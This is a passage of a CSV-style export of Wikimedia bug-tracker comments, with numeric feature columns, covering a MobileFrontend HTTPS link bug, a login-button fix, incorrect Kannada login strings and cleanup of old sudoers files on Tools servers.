The template works fine. It will switch back to desktop with the link at the footer. It will not switch back to mobile.",,,1392408711,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,3.5,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.5,0.0,0.5,5.0,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,5.0,7.0,2.0,0.0,3.5,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,3.75,0.6759259259259259,"**grant** wrote:


$wgServer = ""URL

# MobileFrontend
require_once __DIR__ . ""/extensions/MobileFrontend/MobileFrontend.php"";
$wgMFAutodetectMobileView = true;

pretty basic. I placed a couple mobile divs on the home page and a template. 

I tried a couple .htaccess rewrites without success. 
I have to qualify my comment: ""works fine on android."" 
The template works fine. It will switch back to desktop with the link at the footer. It will not switch back to mobile."
283370,Mobile view link unexpectedly goes to HTTPS,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1705",,,1392400476,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
283361,Mobile view link unexpectedly goes to HTTPS,"Andre, the report is clear enough for me the MF developer.

grant, please tell me your configuration.",,,1392395370,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,14.0,5.0,9.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.909090909090909,0.8181818181818182,"Andre, the report is clear enough for me the MF developer.

grant, please tell me your configuration."
283354,Mobile view link unexpectedly goes to HTTPS,"Please provide steps to reproduce the problem, so another person could follow your steps and would end up woith the same result.",,,1392391422,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.458333333333333,0.9166666666666666,"Please provide steps to reproduce the problem, so another person could follow your steps and would end up woith the same result."
283348,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:

This isn't  related in anyway to wikimedia or wikipedia. It is related to MediaWiki. MobileFrontend is a mediawiki extension and the bug reporting link on the extension page -- 
http://www.mediawiki.org/wiki/Extension:MobileFrontend
 directs to here, to bugzilla. If I am in the wrong place, perhaps that link should be removed. 

Let me know if I should continue.",,,1392390142,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,3.0,1.0,3.0,3.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,12.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,12.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,12.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.6933333333333334,0.7066666666666667,"**grant** wrote:

This isn't  related in anyway to wikimedia or wikipedia. It is related to MediaWiki. MobileFrontend is a mediawiki extension and the bug reporting link on the extension page -- 
URL
 directs to here, to bugzilla. If I am in the wrong place, perhaps that link should be removed. 

Let me know if I should continue."
283342,Mobile view link unexpectedly goes to HTTPS,"Hi grant,
unfortunately this report is not very useful because it does not describe the problem well. If you have time and can still reproduce the problem, please read https://www.mediawiki.org/wiki/How_to_report_a_bug and add a more useful description to this report.
What exactly is a ""mobile link on a desktop pc""? 

How is this related to Wikimedia / Wikipedia?",,,1392386851,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,1.0,0.0,3.0,4.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,10.0,4.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,7.0,3.0,3.0,3.0,0.0,3.0,0.0,3.0,4.0,0.0,0.0,1.0,0.0,0.0,3.8823529411764706,0.7352941176470589,"Hi grant,
unfortunately this report is not very useful because it does not describe the problem well. If you have time and can still reproduce the problem, please read URL and add a more useful description to this report.
What exactly is a ""mobile link on a desktop pc""? 

How is this related to Wikimedia / Wikipedia?"
283336,Mobile view link unexpectedly goes to HTTPS,What is your MobileFrontend - related configuration?,,,1392369841,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,5.75,1.0,What is your MobileFrontend - related configuration?
283330,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:

the problem is the link is: https: rather than: http.",,,1392354319,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.772727272727273,0.6363636363636364,"**grant** wrote:

the problem is the link is: https: rather than: http."
283327,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:

link not ""line""",,,1392345538,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3076923076923075,0.6923076923076923,"**grant** wrote:

link not ""line"""
63261,Tapping 'done' from the password field does not trigger login,"Should trigger login.

--------------------------
**Version**: Unspecified
**Severity**: normal",Needs Triage,90.0,1392201900,1392224165.0,PHID-USER-2nnm76h4ykalvvref2ye,False,,False,PHID-TASK-cdiwvtfa5nktko7qaax3,task_description,resolved,True,c3,1,True,False,True,-73,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.136363636363637,0.5909090909090909,"Should trigger login.

--------------------------
**Version**: Unspecified
**Severity**: normal"
291789,Tapping 'done' from the password field does not trigger login,"Change 112870 merged by Brion VIBBER:
Make 'Done' perform login action

https://gerrit.wikimedia.org/r/112870",,,1392219278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdiwvtfa5nktko7qaax3,task_subcomment,,True,c3,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,0.9411764705882353,"Change 112870 merged by Brion VIBBER:
Make 'Done' perform login action

GERRIT_URL"
291787,Tapping 'done' from the password field does not trigger login,"Change 112870 had a related patch set uploaded by Yuvipanda:
Make 'Done' perform login action

https://gerrit.wikimedia.org/r/112870",,,1392202213,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdiwvtfa5nktko7qaax3,task_subcomment,,True,c3,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.380952380952381,0.9523809523809523,"Change 112870 had a related patch set uploaded by Yuvipanda:
Make 'Done' perform login action

GERRIT_URL"
62965,Wrong text in Kannada Wikipedia login page,"Error in Kannada Wikipedia login page

The Kannada text in the login page on Kannada Wikipedia are wrong. Please see the attachment. The correct text for the numbered text are -
1. ನಿಮ್ಮ ಬಳಕೆದಾರ ಹೆಸರು (ಯೂಸರ್‌ನೇಮ್) ಬರೆಯಿರಿ
2. ನಿಮ್ಮ ಪ್ರವೇಶಪದ (ಪಾಸ್‌ವರ್ಡ್) ಮರೆತುಹೋಗಿದೆಯೇ?
3. ನನ್ನನ್ನು ಲಾಗ್‌ಇನ್ ಆಗಿಯೇ ಇಡಿ (೩೦ ದಿನಗಳ ತನಕ)

The original text in English Wikipedia for the above texts are, respectively, -
1. Enter your username
2. Forgot your password?
3. Keep me logged in (for up to 30 days)

If these are the wrongly translated text in TranslateWiki, please point me to the place where they have to be changed. I will change them.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F13224}",Needs Triage,90.0,1391698740,1391702315.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,,False,PHID-TASK-gab6jfzhaeusn5n2j6ub,task_description,invalid,True,c3,1,False,False,True,-73,True,0.0,0.0,0.0,0.5,0.0,3.5,1.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,8.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.5,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,12.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.5,2.5,12.0,1.0,0.0,5.5,0.0,0.0,0.0,0.0,4.0,1.0,2.5,0.0,4.0,8.0,8.0,1.0,0.0,0.0,4.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,2.5,3.746987951807229,0.6265060240963856,"Error in Kannada Wikipedia login page

The Kannada text in the login page on Kannada Wikipedia are wrong. Please see the attachment. The correct text for the numbered text are -
1. ನಿಮ್ಮ ಬಳಕೆದಾರ ಹೆಸರು (ಯೂಸರ್‌ನೇಮ್) ಬರೆಯಿರಿ
2. ನಿಮ್ಮ ಪ್ರವೇಶಪದ (ಪಾಸ್‌ವರ್ಡ್) ಮರೆತುಹೋಗಿದೆಯೇ?
3. ನನ್ನನ್ನು ಲಾಗ್‌ಇನ್ ಆಗಿಯೇ ಇಡಿ (೩೦ ದಿನಗಳ ತನಕ)

The original text in English Wikipedia for the above texts are, respectively, -
1. Enter your username
2. Forgot your password?
3. Keep me logged in (for up to 30 days)

If these are the wrongly translated text in TranslateWiki, please point me to the place where they have to be changed. I will change them.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F13224}"
290498,Wrong text in Kannada Wikipedia login page,"The current strings from https://git.wikimedia.org/raw/mediawiki%2Fcore.git/HEAD/languages%2Fmessages%2FMessagesKn.php :

'userlogin-yourname-ph' => 'ನಿಮ್ಮ ಸದಸ್ಯನಾಮ (""ಯೋಸರ್ನೇಮ್"") ಬರಿರಿ',
'userlogin-resetpassword-link' => 'ಗುಪ್ತಪದವನ್ನು ಮರಿತು ಹೊಯಿತ ?',
'userlogin-remembermypassword' => 'ನನ್ನನ್ನ ಲೋಗ್ಗೆದ್ ಇನ್ ಎ ಇಡಿ.',

""(for up to 30 days)"" is en.wp only, hence not a ""wrong"" translation.

(Note: Attaching uselang=en in the URL provides the English strings, and uselang=qqx the technical strings, just in case you want to look them up.)

Hence the strings can be found on https://translatewiki.net/w/i.php?title=Special:Translate&language=kn&group=core&filter=translated&action=page - out of scope for Bugzilla itself.",,,1391702315,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gab6jfzhaeusn5n2j6ub,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.5,0.5,2.5,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.5,0.0,0.0,0.0,4.5,8.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,1.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,16.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,6.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,2.0,8.5,6.0,0.5,9.5,0.0,2.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,2.0,3.3343942054433713,0.6672519754170325,"The current strings from URL :

'userlogin-yourname-ph' => 'ನಿಮ್ಮ ಸದಸ್ಯನಾಮ (""ಯೋಸರ್ನೇಮ್"") ಬರಿರಿ',
'userlogin-resetpassword-link' => 'ಗುಪ್ತಪದವನ್ನು ಮರಿತು ಹೊಯಿತ ?',
'userlogin-remembermypassword' => 'ನನ್ನನ್ನ ಲೋಗ್ಗೆದ್ ಇನ್ ಎ ಇಡಿ.',

""(for up to 30 days)"" is en.wp only, hence not a ""wrong"" translation.

(Note: Attaching uselang=en in the URL provides the English strings, and uselang=qqx the technical strings, just in case you want to look them up.)

Hence the strings can be found on URL - out of scope for Bugzilla itself."
62937,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"Those seem to have been created April 2013 and earlier; they should be removed as to not confuse the upcoming tool usernames change.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1391653320,1395092992.0,PHID-USER-vk6mlmacfhx77egryy5i,False,,False,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_description,declined,True,c3,1,True,False,True,-73,True,0.0,0.0,0.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,9.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.232558139534884,0.7674418604651163,"Those seem to have been created April 2013 and earlier; they should be removed as to not confuse the upcoming tool usernames change.

--------------------------
**Version**: unspecified
**Severity**: normal"
288930,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"Change 112666 abandoned by Tim Landscheidt:
Tools: Work around missing LDAP sudo rules

Reason:
In eqiad no longer necessary.

https://gerrit.wikimedia.org/r/112666",,,1395092903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,False,,,-68,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.357142857142857,0.8571428571428571,"Change 112666 abandoned by Tim Landscheidt:
Tools: Work around missing LDAP sudo rules

Reason:
In eqiad no longer necessary.

GERRIT_URL"
288925,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"Change 112666 had a related patch set uploaded by Tim Landscheidt:
Tools: Work around missing LDAP sudo rules

https://gerrit.wikimedia.org/r/112666",,,1392122114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.565217391304348,0.9565217391304348,"Change 112666 had a related patch set uploaded by Tim Landscheidt:
Tools: Work around missing LDAP sudo rules

GERRIT_URL"
288920,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,/etc/sudoers.d/tools-ldap-fix deployed to all Tools nodes.,,,1392117780,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.8666666666666667,/etc/sudoers.d/tools-ldap-fix deployed to all Tools nodes.
288913,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"List of affected tools:

- afcbot
- anagrimes
- csbot
- daahbot
- ftl
- legobot
- matilda
- wiktioutils",,,1392117467,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1724137931034484,0.5517241379310345,"List of affected tools:

- afcbot
- anagrimes
- csbot
- daahbot
- ftl
- legobot
- matilda
- wiktioutils"
288905,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"(In reply to comment #1)
> Deleted /data/project/.system/sudoers; all entries also in LDAP.

Yes, but only as rules for the new service group system; no old ones, and so broke ""become"" for the affected tools.

I'll diff [[wikitech:Special:NovaServiceGroup]] and [[wikitech:Special:NovaSudoer]] to create a list of affected tools, deploy a hot fix to /etc/sudoers.d and submit a change to Puppet.",,,1392116256,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,1.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,5.0,7.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,1.0,11.0,7.0,0.0,2.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,3.364705882352941,0.6823529411764706,"(In reply to comment #1)
QUOTE

Yes, but only as rules for the new service group system; no old ones, and so broke ""become"" for the affected tools.

I'll diff [[wikitech:Special:NovaServiceGroup]] and [[wikitech:Special:NovaSudoer]] to create a list of affected tools, deploy a hot fix to /etc/sudoers.d and submit a change to Puppet."
288898,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"... and /etc/sudoers.d/tools-{dev,login} (configuration for the above to work on the respective hosts) as well.",,,1392069192,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.88,0.92,"... and /etc/sudoers.d/tools-{dev,login} (configuration for the above to work on the respective hosts) as well."
